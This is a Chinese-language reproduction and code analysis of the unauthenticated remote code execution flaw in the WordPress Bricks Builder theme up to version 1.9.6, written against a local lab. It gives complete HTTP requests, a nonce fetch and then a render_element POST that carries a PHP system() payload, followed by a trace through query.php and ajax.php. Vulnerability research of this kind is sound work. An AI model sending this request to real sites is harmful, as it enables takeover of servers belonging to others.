WordPres Bricks Builder 是一个 WordPress 页面构建器插件,旨在帮助用户轻松创建具有吸引力和交互性的网站页面,而无需编写代码。该插件提供了直观的拖放界面和各种预制模块,使用户可以快速构建自定义布局,添加内容和样式,以及实现所需的功能。WordPress配置安装的Brick Builder主题在低于<= 1.9.6版本中存在远程代码执行漏洞。
Bricks Builder官方https://bricksbuilder.io/
Bricks Builder使用手册https://academy.bricksbuilder.io/topic/getting-started/
参考链接:
漏洞环境
Windows版:
搭建方法.修改根目录的配置文件wp-config-sample.php
配置站点与管理员账号密码
进入后台
安装Bricks1.9.5,并激活他
由于我是直接在源码里面导入了
所以我这边直接就是激活成功的
Docker版:
在kali里面执行docker-compose up,是直接打包好的,直接拉镜像就可以了,拉完访问127.0.0.1就行,映射到80端口了,剩下和window流程一样
服务启动后,可访问http://your-ip:80/将自动跳转到wordpress安装向导界面
有需要源码和打包的文件的师傅可以私信我
漏洞复现
首先,根路径查看Bricks 返回的nonce值
GET /wordpress/ HTTP/1.1
Host: localhost
Accept-Encoding: gzip, deflate, br
sec-ch-ua: "Chromium";v="122", "Not(A:Brand";v="24", "Google Chrome";v="122"
sec-ch-ua-mobile: ?0
Sec-Fetch-Dest: document
Sec-Fetch-User: ?1
Accept-Language: zh-CN,zh;q=0.9
Cookie: wordpress\_test\_cookie=WP+Cookie+check
Sec-Fetch-Site: none
Upgrade-Insecure-Requests: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Sec-Fetch-Mode: navigate
sec-ch-ua-platform: "Windows"
**
得到nonce值
{
"debug": "",
"locale": "zh_CN",
"ajaxUrl": "http://localhost/wordpress/wp-admin/admin-ajax.php",
"restApiUrl": "http://localhost/wordpress/wp-json/bricks/v1/",
"nonce": "a980a714d9",
"wpRestNonce": "31dc189c84",
"postId": "0",
"recaptchaIds": [],
"animatedTypingInstances": [],
"videoInstances": [],
"splideInstances": [],
"tocbotInstances": [],
"swiperInstances": [],
"queryLoopInstances": [],
"interactions": [],
"facebookAppId": "",
"offsetLazyLoad": "300",
"headerPosition": "top"
}
之后发送如下请求
POST /WordPress-6.4.3/wp-json/bricks/v1/render\_element HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Linux x86\_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
Content-Length: 270
Content-Type: application/json
Accept-Encoding: gzip, deflate,
{
"postId": "1",
"nonce": " a980a714d9",
"element": {
"name": "container",
"settings": {
"hasLoop": "","query": {"useQueryEditor": "","queryEditor": "system('calc');","objectType": ""}
}
}
}
漏洞分析
位于\wp-content\themes\bricks\includes\query.php中346行
里面的$php_query_raw函数用来执行用户提交的PHP代码并返回结果
紧接着向上分析
$php_query_raw由bricks_render_dynamic_data( $query_vars[‘queryEditor’], $post_id );得到
可以追入bricks_render_dynamic_data 查看是否对数据进行了过滤处理
render_content方法
然后返回query.php继续分析$query_vars [‘queryEditor’]参数
在302行出现了$query_vars
$query_vars由传入的形参得来
右键find usages 找到调用这个方法(prepare_query_vars_from_settings)被调用的地方
考虑__construct方法,该方法会在实例化类时自动执行
在调用方法的代码行111行,
要想成功调用prepare_query_vars_from_settings方法成功需要
1.在element参数下setting参数下的query参数下,要有参数objectType
2.进入else语句块,$element[‘id’]为空即可 (即不考虑这个参数)
3.在element参数下setting参数下的query参数下,设置参数queryEditor为我们rce代码
4.在element参数下setting参数下的query参数下,要有参数useQueryEditor
上述的方法有点困难,那我们继续分析
在ajax.php中该类在297行,有实例化l类 Query
重点参数$loop_elemet
但是在273-289行之间同时设置了ajax与rest api这两种请求方式,而不是ajax请求
element参数下没有参数loopElement
$loop_elemet将被置为false
296行的if语句也将为假,这里 new Query是执行不了的.
所以这里还是不行
在312行我们可以实例化对象, 不过只能对特定的类进行实例化
类似于白名单,我们对如下的类进行实例化
假如我们在参数element下设置了name=container,则会实例化Container类
分析element成员是否我们可控的
在ajax.php中render_element函数中,$element变量是我们可控的,在312行代码将这个变量赋予了实例化container类
分析下的它的构造函数
跟入类Container的__construct 魔术方法(在继承的父类)
分析它对传入的$element做了什么处理。上图赋予了此类的的element变量
接下来就分析container类render方法的调用了
我们发现base类init方法调用了render方法(继承关系container可以调用此方法)
继续分析render_element函数对container对象又执行了那些操作
container对象调用了init方法,RCE代码执行成功!